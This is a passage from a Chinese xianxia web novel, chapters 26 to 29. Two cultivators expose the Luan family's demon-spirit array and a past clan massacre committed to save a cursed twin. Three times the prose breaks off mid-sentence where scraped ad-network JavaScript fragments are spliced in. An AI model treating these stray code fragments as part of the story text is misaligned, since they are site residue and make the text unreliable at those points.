玉阑音好一阵瞧温卓的脸,随后柔了眉眼,轻声道,像是哄人:“原本不愿这么早告诉你,只是没想到你自己便发现了。也知道你在意,但是……恐怕这事,怕是要和恪心恪云脱不了干系了。” 温卓闻言,面上未有一丝一毫的变化,甚至手上动作都没停。 玉阑音只从镜中看着他低垂的眼角和眼下一片阴翳,他心中叹口气。 他太了解他。 若如此这般,那便是这孩子正在难过了。 26. 朝圣 是夜。 玉阑音因为身体原因,一直保持了凡人睡眠的习惯,但是又因为经年的疼痛,睡眠一向不好。 今夜也依旧如此。 子时,玉阑音便因为持续的头痛和手脚止不住的发麻醒来了。 醒来之后,他甚至都未能有间隙去恢复清醒,胸腔之处蓬勃的痛意顷刻间叫他冒了一层冷汗。 玉阑音强撑着从被子中抽出了麻得无知无觉的手,缓了一会儿,抬手揉了揉自己酸胀的眼眶。 他身体疼得厉害,半托半拉地沉重地翻了个身,这才吐了口浊气,重新闭上了眼睛。 忽然间,玉阑音听到门外传来了开门掩门的细微动静。 紧接着一阵极轻的窸窣脚步声后,他听到自己的屋门开了。 门一开,春夜里的凉风便卷了进来,玉阑音刚发了一层薄汗,被这风一吹,一瞬间便是清醒了好些。 来人似乎也察觉到了夜风太凉,手脚极为轻快地将门关上了,然后才走近床边。 或许是因为倦怠,或许只是因为难言的脆弱情绪,玉阑音并没有睁开眼。 又或许只是因为,此时正安静地在床边站定的是温卓。 温卓与玉阑音不同,他自从闭关之后便极少入睡了,大多数时候都是靠打坐调息。 他耳力好,又因为今日是头一回住得离玉阑音这样近,隔壁这人的每一次喘息和每一次细碎的翻身的声响,他都听得一清二楚。 实在是心猿意马。 温卓原本还装模作样地静心打坐,到后面就是直接自暴自弃,睁着眼睛平躺在床上胡思乱想。 到最后是想得自己火烧火燎,叫那许久没能得逞冒头的厌族神识都有了复苏的迹象。 不过忽然,隔墙的玉阑音一个沉重地翻身就把温卓一身邪火翻了个干干净净。 那厌族神识也是错付一番,还没能张开嘴,就又被温卓一个猛子压了个不见天日。 温卓自从在药术师嘴里得知那些不为人知的秘密后,恨不能自己生出十双眼睛,全都安到玉阑音身上去。 如今玉阑音这有些痛苦的一个翻身,温卓此时草木皆兵,一个闻声而动,“噌”地就起了身。 他压着步子走近,弯腰轻手轻脚地摸了摸玉阑音的额头,见玉阑音似乎还在熟睡,这才稍稍放了心。 他指尖灵力一动,替玉阑音重新热了汤婆子,又仔细帮他掖好被角。 最后又是细细上下好一番检查,确定一切无误了,这才打算离去。 只是他刚转身,床榻之上忽然一阵翻身的动静,叫温卓心下一惊。 这时身后传来一声轻笑,黑暗中,温卓的手腕被人不轻不重地圈住。 “抓到你了。” 温卓呼吸一滞。 他回头,正对上这人促狭笑着的眼睛,在黑夜中映着一丝窗外月光,很亮。 温卓的心咚咚跳起来,快得恼人,任凭他再伸手去按也无济于事。 喜欢。 他喜欢面前这人喜欢得要发了疯。 喜欢到不知道要如何去做才能缓解他胸口那无边无际的酸胀。 他眨眨眼,将眼底汹涌的情绪掩下,手腕一转,轻轻将玉阑音的手抓下来,“这么晚了,怎么还不睡。” 玉阑音好整以暇看着他,“要是睡了,那岂不是要见不到你偷偷进我屋了?” 玉阑音此时言笑晏晏。 但温卓一垂眼,看到的却只有他疲倦的眉眼和寡淡消瘦的面容。 温卓一顿,随后便转开了目光。 玉阑音这人虽然平时看起来颇为宽大为怀,但实际上,他骨子里那一套大家长做派比栾路安好不了多少。 他远比他看起来的要刚愽自用得多。 只要是他想要避而不谈、想要独自瞒下来的,那便是再没人能撬开他的嘴。 见温卓面色不算好,玉阑音正打算开口同温卓说些什么之时,窗外有一人影以非人的速度闪过。 玉阑音神色轻微一变,迅速住了口。 温卓也敏锐地察觉到了什么,也回头往门外看去。 只见窗外又是三五道身影掠过。 再是一个瞬息,窗外的身影越来越多,已然是人影憧憧,无声无息如鬼魅般在窗外依次闪过。 玉阑音同温卓对了个“噤声”的手势,随后轻手轻脚翻身下床,两步侧身站到窗边。 温卓猫着步子站到了玉阑音身后不远处。 玉阑音抬手擦了擦窗户上的雾水,从小孔中朝外看去。 他并未看很久,甚至只是极快地瞟了一眼便收回了目光。 他回头,无声地同温卓口型道:“百鬼夜行。” 闻言,温卓眉间一凛。 百鬼夜行。朝圣夜。 百鬼夜行称百鬼夜行,但夜行的其实不是鬼,而是厌族。 厌族中有一部分低阶厌族,极为弱小,甚至都不能化出实体,大多只是一层浓重的黑雾,无形无依,无头无身。 它们这一类低阶厌族的群居性极强,喜好夜间活动,对厌族之气有趋附性。世人称此为“朝圣”。 三更半夜,黑雾憧憧。 人类见此异动,误会黑影为鬼魂,称此夜游为“百鬼夜行”,沿用至今。 玉阑音目光一转再次朝外看去,低声道:“他们往前厅的方向去了。” 说完,他便打算披上外袍向外走去。 温卓一把将他拉住,皱眉道:“我去。” 玉阑音闻言便动作一顿,蹙了眉。 温卓比玉阑音高了半个头,又离得近,玉阑音此时眼中的不同意,他自然是看得清清楚楚。 但他丝毫不打算退步,就这么垂着眼睛,直勾勾盯着玉阑音。 胳膊拧不过大腿,没过多久,玉阑音这无声对峙就宣告了失败,他认命道:“一起。” 温卓得到这话,即刻便接过玉阑音的外袍,三下五除二就把玉阑音收拾得利索,临走之时,他想到夜露凉寒,又给玉阑音披上了他那内绒披风。 玉阑音无奈至极,道:“这多碍事。” 时间匆忙,温卓没空同他呛声,敷衍地“嗯”一声,手上动作却是一停不停。 他一边给玉阑音系着披风,一边心里提醒自己:过会儿千万要记得给他些灵力,防止他又逞能外化灵力来用。 刚想到这儿,玉阑音忽然轻声开了口,并且所说之话叫他大为惊讶。 玉阑音说:“一一,以备不时之需,借些灵力用用可好?” 温卓闻言,狐疑看他一眼。 玉阑音这人有个臭毛病,好逞强。 他这些年都透支身体用着外化灵力,栾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 府甚至因为有聚灵阵灵气更为充沛,是断没有主动来借灵力的道理。 如今玉阑音忽然地示弱,那大概只是他低了头,来哄人了。 温卓思念至此,看了看玉阑音,冷哼一声。 他冷着脸,伸出一指点住玉阑音眉心,心念一动,把自己的灵力一股脑地输了不知道多少,尽数塞到玉阑音枯死的灵脉中。 温卓很清楚,玉阑音的灵脉枯竭,现在留存不住灵力。于是他紧接着迅速地结了个几十个金字“固”印,啪啪啪啪在玉阑音萎缩的灵脉之上贴了个满满当当,这才作罢。 一切动作尽在悉数之间便完成了。 甚至玉阑音本人也是眨了眨眼才回过了神,他不禁失笑,道:“学得还挺杂。什么时候学了这些?” 温卓给他理正披风,不发一言。 低阶厌族并无五感,但玉阑音和温卓出了门后,还是稍稍控制了自己的步伐和鼻息。 温卓手下一动,给两人套了个隐身术,便混在了厌族之群中。 两人朝前厅之处看去,很远便能看到隐约的红光,随着走近,红光愈盛。 玉阑音运了灵力,传了个音去到温卓,“有人在催动聚灵阵。” 温卓不常接受这种传音,一时不是很适应,耳朵一痒。 玉阑音自然捕捉到了他的耳尖微动,随即笑道:“也是巧,你这灵力,刚借来就派上用场了。” 温卓的灵力强劲又稳和,但是出乎意料地和玉阑音这副破身子的相性不错,用起来很是轻松。 玉阑音细细品味了一阵,忽然间觉得自己这会儿好像被儿女赡养的爹娘。还真是一种挺奇异的感受。 说话间,两人已经走到了前厅门口。 前厅之门大敞,其中红色灵气带起阵阵罡风,卷得整个屋里呼啸之声震耳欲聋。 大殿中央摆着的仍旧是那泰山石打造的鱼池,其上的红光也是全屋法器中最甚。 这鱼池之上的红光极其明亮,时而爆裂成明黄色,简直是要晃了人的眼。 两人仗着有隐身术避体,没怎么躲藏,就从容地这么站在门口。 玉阑音眯了眯眼,同温卓传声道:“原来是用厌灵催动的,怪不得这聚灵阵势这么大。” 厌灵,便是死去厌族的残灵,与人魂类似,其内暗藏极强的厌族灵力,常被心怀不轨之人用于法器或是法阵之中。 温卓因为这厌族灵力,识海中的厌族神识也有些躁动,额角不受控地有些跳动。 他一边分心压制,一边心不在焉地“嗯”一声。 泰山石前有一蒲团,蒲团之上跪着一身着绛紫长袍之人,半背对门口。 他的脸在红光的阴影之下,玉阑音和温卓一时辨认不出究竟是谁。 不过前厅的东北角落倒是还站着一人。 这人双眼轻阖,口中念念有词,双手正飞快地结着印。他身上仍穿着金边立领白袍,上绣祥云袍边,一头墨发高高束起,扣着金包银发扣。 他面朝着二人的方向,脸在耀眼的红光中一览无余。 玉阑音目光在他脸上轻轻扫过。 漫天呼啸的风将玉阑音的散发吹得四处飞舞。玉阑音轻侧过头,似乎是笑了,又似乎是没有。 风中,只听他问道:“一一,你说,站着的这位,是恪心,还是恪云呢?” 27. 雾霭 温卓的沉默持续了很久。 他沉默地看着面前那位穿着十方宗弟子服的人。 很久都没有动,也很久没有出声。 就在玉阑音觉得他可能不会回答了的时候,温卓嘴唇微微一动,“栾恪心。” 玉阑音愣了一下,“嗯?” 温卓收回停留在栾恪心身上的目光,“没有佩剑,腰间挂的汉白玉,左手腕有刀伤。是栾恪心。” 玉阑音并没有向别处看去,他只是看着温卓的侧脸好一会儿,“这样啊。” 门内,栾恪心似乎是结印结束了,他此时已经收回了手,也复而睁开了眼睛。 跪坐蒲团之人也就是在这时开了口:“……完成了?” 这赫然便是栾家家主,栾路安。 栾恪心手一挥,将身旁那一众碍事儿得很黑雾的低阶厌族即刻化成了齑粉。 随后他才低顺了眉眼,“一切顺利。” 栾路安并未起身,依旧双手合十拜坐在蒲团之上,闭着眼睛继续道:“方才你说……他们二人可能已经发现了端倪,是从何见得?” “下午正厅之门未闭紧,我见他们目光于其中略停留。”栾恪心略一停顿,“此二人见多识广,如此一瞥,只怕会认出聚灵阵,恐起了疑心。” “吉祥做事总是这么毛手毛脚,”栾路安似乎是叹了口气,“不过,若真如你所说,那便是要找机会除掉这师徒二人。以绝后患,休怪我无情无义。” 栾恪心拱拱手,“是。” 栾路安得了回应,便继续道:“你宗门里的那个炼化炉,你仔细检查过了?” “是,”栾恪心道,“检查的很仔细,的确是我们先前遗失的那鼎,不会错。” 玉阑音和温卓二人此时正不知何种心思地站在门口,静静听着两人的对话。 这时一阵清晨的冷风吹过,原本正抱着臂的玉阑音忽然呛了凉风,侧过头去咳了两声。 尽管他已经压低了声音,但依旧还是传出了不小的声响,在这寂静的夜里更是被放大得一清二楚。 正厅内正心里有鬼的二人闻声猛地一绷紧。 栾路安连忙起了身,朝向声音的来处狠声大喝一声:“是谁?” 温卓眯了眯眼,也不啰嗦,当即就撤去了隐身术。 这隐身术一撤去,玉阑音和温卓的身形便如无中生有的鬼魅一般出现在了门口处。 一黑一白,一笑一静,打眼一看是像极了从地府里前来索命的无常鬼。 玉阑音又咳了两下,两颊褪得毫无血色,他一身苍月白袍立在风中,活像一只离群索居的病鹤。 他开口同栾路安说话时,神色毫无异样,一如此前般和颜悦色:“不请自来,唐突二位了。” 栾路安闻声,惊慌地站起了身,他眼珠滴溜一转,一边向后退一边高声喝道:“恪心!” 栾恪心闻言眼神闪烁一下。 玉阑音算得上栾恪心的救命恩人,若非情势所逼,他是万贵不会对玉阑音出手的。 栾恪心往栾路安这里一瞥,似乎是有话要说。 温卓在栾路安开口的瞬间,手下已经极为轻快地凝出了寒铁弓,稳稳握在了手里。 他将红色气剑上了弓,拉满,剑尖正指栾路安的鼻尖,眼中满是冷冽的寒意。 栾路安丝毫没注意到栾恪心的异样神情,他剑眉一竖:“恪心!去!杀了他们!” 栾恪心脸色青青白白一阵变幻,随后垂眸轻叹一口气,一个闪身便冲向了玉阑音,扑面而来的风中似乎能听到他极轻的一句:“长老,得罪了。” 温卓眼神一凝,当即便欲收了弓将玉阑音搂到自己身后。 不过玉阑音一个侧身便绕过了温卓的手。 紧接着他右手一提,灵力暴起,直直对上了栾恪心的一击。 栾恪心立即被两人之间骤然的灵压撞得往后一个撤步。 温卓的心猛地提到了嗓子眼:“阑音!” 玉阑音脚下运气也向后一跃,电光火石之间,他依旧从容地抽出手,轻轻按了按温卓的左臂:“勿动,就在此处。” 话音甫落间,栾恪心再度如一道白金光束袭来。 前厅之内仍有数量众多的低阶厌族在飘荡,栾恪心冲来的一路,穿破那黑雾无数,传来一阵惊心的破风声。 玉阑音应声而动,身形如电,动作迅疾。他左脚一踮,轻盈地一纵,在空中一个利落的后翻,划出一道月色的皎白弧线,躲开了栾恪心的一击。 落地,他借力又是脚尖一点,离地蹿起,周身运起了灵力,发丝和眼眸中都闪起暗红色的光。一道白色的身影裹挟着冷冽的夜风,反向栾恪心袭来。 栾恪心单靠身形已避让不开,耀眼的光辉刺得他瞳孔一缩。 慌乱之间,他运起灵力祭出他的本命法器,那是一把青白色的霜华剑,护手为双霜白色空心玉,玉佩上刻字“定光”,通体流彩。 栾恪心挽了个剑花,调转刀刃,定于胸前,迎面对上如光剑般迅猛袭来的玉阑音。 可这正是落了玉阑音的下怀。 玉阑音在空中轻声一笑,倏忽收了一身的力,向下一个倾身,鼻尖轻轻擦过定光剑的剑刃,锋利的剑刃直接削了玉阑音的三四青丝。 他目光温和,神色依旧如温润如羊脂玉,并未因为这打斗露出一丝一毫的急促。他同栾恪心对视一瞬,随后弯了弯眼睛。 栾恪心心道:不好,中计了! 下个瞬息,玉阑音一弯身,腿下一个轻盈的横扫,趁栾恪心慌忙一躲的空隙,他掌心运气,朝栾恪心胸口猛地一袭。 躲避不及的栾恪心像是断线的风筝,被这一掌推得撞碎无数佛器法器,狠狠撞在了镶玉的墙壁之上,把玉壁装了个粉碎。 温卓依旧拉满着弓,稳稳指着栾路安,目光未从栾路安身上移开过一瞬。 直到栾恪心猛地撞到墙上,温卓才稍稍朝声音来处转了下眼。 玉阑音的灵脉很久未如此充盈过了,他不禁低头看了看自己的手掌。 真的是一种久违了的,叫他都有些心神荡漾的冲动。 温卓看着他动作大,担心得要命,很快就传声问道:“感觉怎么样,有没有不舒服?” 玉阑音一双桃花眼弯弯,“很久没有这么好过了。” 温卓看他不像撒谎,点了点头。 栾路安已经吓得重新跪坐了下来,但依旧是色厉内荏:“既然已经被你们发现了,那今晚就都别活!我栾家一辈子光明磊落,怎能败坏在这名声之下!你不人修怪我不义!” “光明磊落?”玉阑音似乎听到了什么好笑的事情,“你指的是当年驱使三千厌兵屠了百里一族之事?还是祠堂内暗中豢养厌灵?还是今日这禁术?” 此言一出,栾路安方才所有的忽然像是变成了一只惊慌的蚂蚱,神情与神色都一蹦一跳像是受了大害似的,“你,你怎么会知道……” 玉阑音止了笑。 他垂下眼睛,神色并不凌冽,但又莫名有着上位者的威严。 也不止栾路安,玉阑音这话一落,就连温卓回头看了他一眼。 如果他没记错,先前玉阑音似乎对蜀中之事通晓甚少。如今所说的这些又是如何得知的? “宗门内炉阵之内的阵符,与这泰山石鱼池之上的阵符别无二致。”玉阑音一边慢慢说着,一边抬脚往鱼池旁走去。 一旁伏地的栾恪心见状,便欲强起身相阻。 玉阑音甚至未抬眼同他一看,只轻轻一个抬手。 “轰”一声,栾恪心便被一阵滔天怪力压得喘不过气,猛地栽倒在了地上的狼藉之中。 玉阑音踱步至大殿中央,屈指一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敲这鱼池,水波激荡,惊了水中几尾小鱼,簌忽跳跃冲游。 “‘幽魂亡魄,生死安寂,万邪不侵,镇魂安歌’,”玉阑音唇齿轻启,“镇魂符。我可有背错?” 见众人不答,玉阑音很快便自接自话,继续道:“镇魂符,鬼符之四,是十三鬼符中唯一要以鲜血肉身为媒开神的符篆。不镇亡魂,只固生魄。” 他忽然笑意盈盈看向抖如筛糠的栾路安,“不知可否请问栾家家主,百年前百里一族近百尸首下落不明,家主对此可否知情一二?” 吹了一夜的寒风不知什么时候停了。 温卓“唰”地一声收起了上了剑的寒铁弓。 一时之间,万籁俱寂,惟有在场四人心跳之声,清晰可闻。 突然,又是“呼啦”的几声声响,栾恪心有些狼狈地从地上爬起来,擦了擦嘴角的鲜血。 他的动作在这安静中听得尤为清晰。 玉阑音和温卓闻声,便将目光转向了他。 栾恪心苦笑一声,转而朝已经白了脸的栾路安道:“爹,算了吧。” 听到栾恪心这句话,栾路安像是个瘪了的气球,终于是再也撑不住般跪倒在了地上。 栾恪心的白金弟子服灰扑扑的,像极了落到泥泞中的白鸽子。 他带着一身伤,但还是十分有礼地朝玉阑音和温卓拱了拱手,行了一个迟到了很久的礼,“晚辈见过长老,师叔。” 温卓对于这个称呼还是有些不适,不过也只是神情一动,并未多言。 “此前对此事多加隐瞒,还望……二位见谅。”栾恪心说着,又是行了一礼。 百年前,百里一族正值繁盛。 栾家在南海一商人处得了机缘,学来了禁术,得知以厌灵铸法器法器则强力无边,自此便在祠堂之内豢养厌灵。 随着家业日益繁盛,栾家与百里一族行商之上针锋相对也日益增多。 某个夜晚,栾家召了三千厌兵,在一夜之间静悄悄地屠了百里家满门。 玉阑音拢拢袖子,问道:“只是不知百里一族是如何触怒了栾氏,才落得此灭顶之灾?” “说来惭愧,那夜的……屠杀,选择百里氏也只是顺势而为,”栾恪心苦笑一声,“除去百里一族,栾家也能得机会在蜀中一步青云,一箭双雕之事,何乐而不为。” 温卓听着这话,已经暗中觉察到了一些什么,微不可查蹙了蹙眉。 而玉阑音的神色却并未一变,他只是抱着双臂,静静地等待着栾恪心的后话。 栾恪心顿了一顿,很快便再度开了口。他目光一凛,声音沉闷了些,但又有着某些诡异的、不容抗拒的笃定,“对于百里,我很抱歉。只是……为了恪云,这些事,我们非做不可。为了恪云。” 温卓握着寒铁弓的手一紧。 玉阑音似乎是叹了口气,又极轻极轻地摇摇头。 “方才,你们问我是如何得知栾家所做之事的,”玉阑音浅笑着低语,所言甚轻,却落地有声,“是啊,我是如何知道的呢?” 栾恪心忽然心弦一动,不可置信地猛地抬起头。 就连一旁已经呆滞僵硬许久了的栾路安闻言,也愣愣地回了意识,看向了玉阑音。 只见玉阑音从袖中的手微动,在宽大的袖摆中拈出了一张信纸似的东西,其上隐约卸了写了些什么。 “既然不是你们二位,那么,这能是谁给我的呢?”玉阑音说着,慢慢地回过头去,将目光转向了身后的一个不远处,“还不出来么?” 只见在玉阑音身后几米远处,忽然出现了一阵灵气波动,这是只有撤去隐身术时才会有的灵气流转。 隐身术一消失,那处便可见了一白金色的身影,那人腰间佩剑,身形俊朗,光风霁月。 栾恪云挂着一脸泪水,就如此安静地出现在了众人眼前。 28. 双生 栾恪心手中的定光剑“当啷”一声掉到了地上。 栾路安当刻根本说不出话,他嘴唇颤抖着,手脚并用地狼狈不堪地在地上爬起来,好一会儿他才找回了自己的声音:“恪云……” 栾恪云对这二人至若未闻,他抬手把脸上新的、旧的泪水都摸干。 随后他走到玉阑音身边,板板正正行了个鞠躬礼:“恪云谢过长老。” 玉阑音看着栾恪云绷直的脊背,心里叹息:他也只是个孩子啊。 未等玉阑音回话,栾恪云已经仰起头,看向了栾恪心。 在看到栾恪心的一瞬间,不知不觉,栾恪云已经泪如泉涌。 栾恪云不得已只能抬起袖子又擦擦眼睛,暗中狠骂自己不争气。 栾恪心看得心疼,却大气不敢出,只能呆愣愣地站在原地等他擦眼泪,“恪云……” “哥,”栾恪云忽然开口打断了他,他的声音有些哭久了的嘶哑,“是我,是我告诉长老的。” 一旁,温卓轻轻偏过头去,低声问玉阑音道:“他们兄弟二人形影不离,要瞒过栾恪心定是不容易。他是何时交给你的?” “就是今日,”玉阑音有一搭没一搭地摩挲着手里那张信纸,“到了栾府门前,他伸手来扶我下轿辇的那会儿。” 这么一说,温卓自然是想了起来。 他不由得有些恍惚,自己记忆里几个时辰前的栾恪云,眼睛亮亮的,笑得像只小兔子,话很多,老往玉阑音面前凑。 和如今面前这个无声恸哭的年轻人没有一丝相似之处。 “我在一路上,就想,这好多年没回家了,爹娘肯定也惦记着,便传了书信,告诉了爹娘我们入了蜀中了,而且长老身体不好,这样也能派些人来接应,走得顺妥些。”栾恪云垂着眉眼,说话说得断断续续。 栾恪心看得实在于心不忍,一个上步,“恪云……” 可是栾恪云却立刻向后连连后退,这一个动作便耗尽了他所有的力气,他一边哭一边道:“可是哥……你是不是也往家里传信了?昨天……哥,那只灰绿色的……灰绿色的鸽子腿上绑着的回信,是爹写给你的。不是给我的。” “那封信……是给你的,上面写着,上面写着……”栾恪云说着,忽然如被压垮的麦穗一般懊丧地垂头痛哭起来。 栾恪云久久未能再完整说出任何话,一时,整个屋间内只能听到栾恪云一人压抑的哭声。 整个殿内的低阶厌族随着哭声也躁动起来,四处飞速地乱窜。 温卓本就因为这厌灵法阵有些头痛,如今这一群群魔乱舞的厌灵更是让他烦躁地眼中闪过了红光。 玉阑音的目光敏锐地追随到了温卓眼眉之上,微微蹙起,停留了好半晌。 可在温卓重新抬头的一瞬间,他已经又迅速将目光收了回去,好整以暇佯装无事发生。 今日轿辇前,栾恪云暗中递给玉阑音的信上,字里行间尽数是他父亲与兄长的罪行。 关乎那百人的百里一族,关乎禁术,关乎炉阵,详尽至极。 栾恪云现在仍能回忆起他刚展开这封信时,那一笔一划血淋淋的屠杀,那无穷的眩晕与作呕。 栾恪云红着眼眶,花了很大力气重新直起身,可他的脊背却像是再也没有了少年人的意气风发,如压弯的铁尺,打着一个小小的悲伤的弧度,“……落月呢,落月是怎么死的?” 落月。百里落月。 同栾恪云青梅竹马,打闹过,月光下牵着手红着脸约定过的百里落月。 栾恪云现在都能记得那天晚上,他喝了酒,看着澄黄的月亮,磕磕巴巴对百里落月说着醉话:“落月啊,你总挂在树梢上,我够不到你。你什么时候能……能自己落到我这里来?” 百里落月笑着顺着他目光看去。那双眼睛笑盈盈迎着月光,亮得动人。 长风徐徐,老树枝叶翻涌哗哗作响。 一道夜云随风夜行,飘忽行至满月脚下。 栾恪云至今依旧能清晰回忆起,百里落月在那个瞬间莞尔一笑,说出了那句回响了他往后整个生命的,“现在。” 那个八月十五圆月夜的树下,是他第一次,也是最后一次吻他爱着的姑娘。 因为百里落月死在了第二天。 整个百里一族,都死在了那一年的八月十六。 十五的月亮十六圆。 栾恪云在八月十六的月下,又哭又笑。 而那时,陪在他身边同他醉酒一夜,安慰他,给他臂膀的,正是他面前的这位好兄长——栾恪心。 这是多么可笑。多么讽刺。 栾恪云自嘲地笑起来,可他的看向栾恪心的目光之中恨意却了了,更多的只有将死之人的虚无与绝望。 栾恪心听到栾恪云的话,自然也已经回忆至此。但他对此做不出任何的辩解。 因为他的良心疼。张嘴解释,他没这个脸。 百里落月是他亲手杀的。 这小姑娘从小和他们兄弟二人一同长大,情同手足。 栾恪心砍下百里落月的头的时候,她正欢天喜地背着身,毫无防备,为他盛着莲仁羹。 莲仁羹是栾恪心小时候最喜欢的吃食。 但就是这年八月十六之后,他再没碰过莲仁羹。 手起刀落,杀都杀了。假惺惺的悼念若真的说出来,大概也只是犯人恶心。 于是栾恪心只不发一言地垂下头,任凭栾恪云再崩溃地质问,也没松口。 栾恪云说话又快又急,不由地发了晕。 他住了嘴,缓了好久才重新恢复了清明,随后哑声问道:“你们刚才说,这一切是为了我……这又是什么意思?” 栾路安自从栾恪云现了面便不发一言,直勾勾盯着栾恪云愣神。 可令人惊诧的是,栾恪云问出这个问题之后,栾路安忽然像是找到了什么宣泄口似的,磕磕巴巴又长篇大论地开了口。 而他要讲的,的确是一个更为漫长的故事。 在更早些年间,栾家为了阔门开支,意欲在蜀中站稳脚跟,子孙大多很早同家族割席,自立了旁支,开枝散叶。 而栾路安一支自古人丁不甚兴旺。 栾路安其人同栾夫人年少便相识,成家后更是蓝田种玉,和如琴瑟,如今年至耳顺,未纳一妾。 不过栾夫人身体欠佳,生养极难,当年怀了栾恪心栾恪云两兄弟后,栾府上下皆为欢喜,真是捧在手里怕摔了,含在嘴里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怕化了,一家人对此子之翘首以盼溢于言表。 可到了分娩当日,栾家产婆见到栾夫人所生居然是一对双生子,当即便变了脸色。 这就要从更早之前说起。 当年,栾家老爷南海经商学来了豢养厌灵的诡术,法力无穷。 可万事万物总有筹码,此事的代价便是,以后栾家若族内有双生,双生子之幼子便会承载这禁术的诅咒,将成为厌灵的新容器,祭祀与须弥之神。 栾路安看着出生后未啼哭、面色青紫的栾恪云,惊惧不已,连哭带笑,宛若疯癫。 他怎么也想不到,这栾家这么多年没灵验的诅咒,居然就在今天,落到了他的无辜的孩子身上。 他未有一丝迟疑,当即便找来蜀中的大术师重启了府中大聚灵阵,照着书阁禁术之卷以厌灵绘了镇魂符,生生保住了栾恪云本应被须弥之神抽走的神魂。 可栾恪云虽保住了命,但自小魂魄不稳体弱多病,需时时刻刻待在聚灵阵范围内。而栾路安也因此对其监管甚严,教导极为严厉。 再长大后,偶然一天,栾恪心无意之间闯入了祠堂,撞破了栾家这竭力掩盖的惊天秘密。 可同样为了保住他的纯粹至善的好弟弟,栾恪心道心虽煎熬摇摆,但最终,他也选择对此也隐而不发,甚至借着自己法术精湛,暗中多有助力。 自从兄弟二人入了十方宗,由于宗门未能有镇魂法镇照拂,栾恪云的身体一天不如一天。 栾恪心对此很是惊慌,最终迫不得已借了家中炼化炉的炉阵,冒险将其隐秘藏于栾恪云住所之处,以便定魂。 而就在云霄大比前一天,这炼化炉竟然不翼而飞,任凭栾恪心如何寻都未能发现其踪迹。 可这炼化炉消失了十日之久后,一日晌午,崇本长老忽然带两名弟子冲进了栾恪云的房间,居然在柜中把这炉子找了出来。 栾恪心得知后,疑心大动。 这几件屋子他里里外外搜了千百遍,断不可能遗漏此处。更何况,他又怎会把这种东西藏在这明面上? 栾路安说到此,解释了个明明白白,终于住了口。 “……长老,师叔,晚辈深知与父亲此事罪孽深重,无从开脱,可……”沉默中,栾恪心开了口,随后他目光轻轻掠过栾恪云,“吾弟,栾恪云,对此事毫不知情,还望长老师叔能看在往日情分之上,网开一面……” 他说着,双膝一弯“咚”得一声,跪在了玉阑音和温卓面前,随后又是“砰砰砰”三个响头,“恪心……跪请。” 温卓似乎是嘴唇微动一下,但未发一言。 玉阑音则是将目光转向了一旁的栾恪云。 栾恪云此时的面色已经难以称为活人。 他面庞青白,一行泪珠顺着他挺拔的鼻尖滑到唇峰,又滑进齿缝,最终消失不见。他眼下的几排泪水已然干涸,留下一道道枯萎的泪痕。 栾恪云眼珠凝滞,顿顿地一转,他呆滞无比地看向玉阑音,“长老,我想死。” 他垂下眼睛,看看自己的手。 “我杀了好多人,长老……我杀了好多人。落月。”他说话已然语无伦次,却定定地看着玉阑音无悲无喜地眸子,“长老,我想死。” 29. 天明 玉阑音只是看着失神落魄的栾恪云,未发一言。 一旁的栾路安听后直接慌了,他连滚带爬地从地上起来,巍颤颤地想往栾恪云那里走去,“恪云,都是爹不好,你……” 栾恪云一双无神的眼睛慢慢转向栾路安,随后迟缓地向后退了几步。 大殿中央的鱼池中,小鱼拖着彩色尾巴,正不知愁地游来游去。 殿内一金制佛铃,无风自动,无动自响,铃琅之声响在这个寂静的夜里。 “恪云……”栾恪心也此时的表情没比栾路安好看多少,心疼得无以复加,“落月的事……哥对不起你,恪云。” 栾恪云又看向栾恪心,他已经不再流泪了,连眼角的泪水都已经干涸。 他神情呆滞朝着栾恪心,摇摇头道:“没关系。” 栾恪心听了这原谅的话,表情却忽然比哭还难看。 他巴不得栾恪云如今狠狠骂他,埋怨他,告诉他此生断绝兄弟之情不复相见,都比他现在这一句绝望的“没关系”好千倍万倍。 “没关系,哥,我不怪你,你都是为了我……我……很感激,”栾恪云紧接着又呆愣着开了口,“……我就是想死,哥,求你……让我死吧。” 栾恪心闻言眼眶红了一圈,终于忍不住一个箭步冲了上来,把栾恪云按到了自己怀里,“恪云,别说傻话……该死的不是你,恪云,我……” 一旁的栾路安“咚”一声跪到了地上。 玉阑音此时没有见到那位头戴金饰,身披锦袍的一家之主,这一刻,他只看到一位愧疚的父亲,正老泪纵横地朝自己磕着头:"长老,求您网开一面,留小儿一命……我认罪,我任凭处置,长老你知道的,这一切都是我的错,和我的孩子无关啊长老……" 栾路安一句一个响头,到最后额头一片红斑,血泪俱下。 许久未有动作的玉阑音这时终于极轻极轻地叹了口气。 末了,他袍下的双手微动。 登时,整个正厅内席卷过一阵滔天的灵压。除了温卓和玉阑音本人,在场所有人均被这阵灵力压得难以呼吸,两股战战,直直跪伏到地上。 随之而来的是正厅内近百件法器被震得轰然碎裂的声响。 霎时之间,方才还流光溢彩的法器化为齑粉,厌灵的黑雾瞬息汽化飞腾,消失得无影无踪。 温卓是最众人中先感受到聚灵阵消失了的。 笼罩了整个府邸的浩大的聚灵阵,在泰山石鱼池碎裂、水珠四溅之时,如同喘息一般轻轻地不见。 温卓识海中腾云驾雾升腾旋转的厌族神识忽然消停了,也得益于此,他持续了一夜的头痛终于渐缓。 他一个克制的深呼吸,终于呼出进了正厅之后的第一口长气。 玉阑音侧目,不着痕迹扫过神色稍霁的温卓。这才轻轻一挥袖,猛然撤去了这灵压。 聚灵阵一散,栾恪云几乎是瞬间干瘪衰颓了起来,本就悲痛欲绝神魂不稳,如今更是摇摇欲坠,一副魂灵即将离体之相。 栾路安瞬时惊慌无措,赤红了双目,欲往栾恪云这里扑来:“恪云!” 栾恪心身形更为矫健,一个大步的扑身,接住了险些跌倒在地的栾恪云,他目眦欲裂,看向玉阑音,几近欲哭:“长老,恪云离了法阵神魂必然离体难成活!您怎能无情至此!” 玉阑音的脸上并无一分笑意,却也不似动怒,他冷眸冷脸,如云间神明无情万端,却又慈悲万分。 玉阑音头微低,垂着眼睑扫过二人。他在这声泪俱下的埋怨声中抬起了手,朝栾恪云方向并拢双指一按,双唇轻启:“定。” 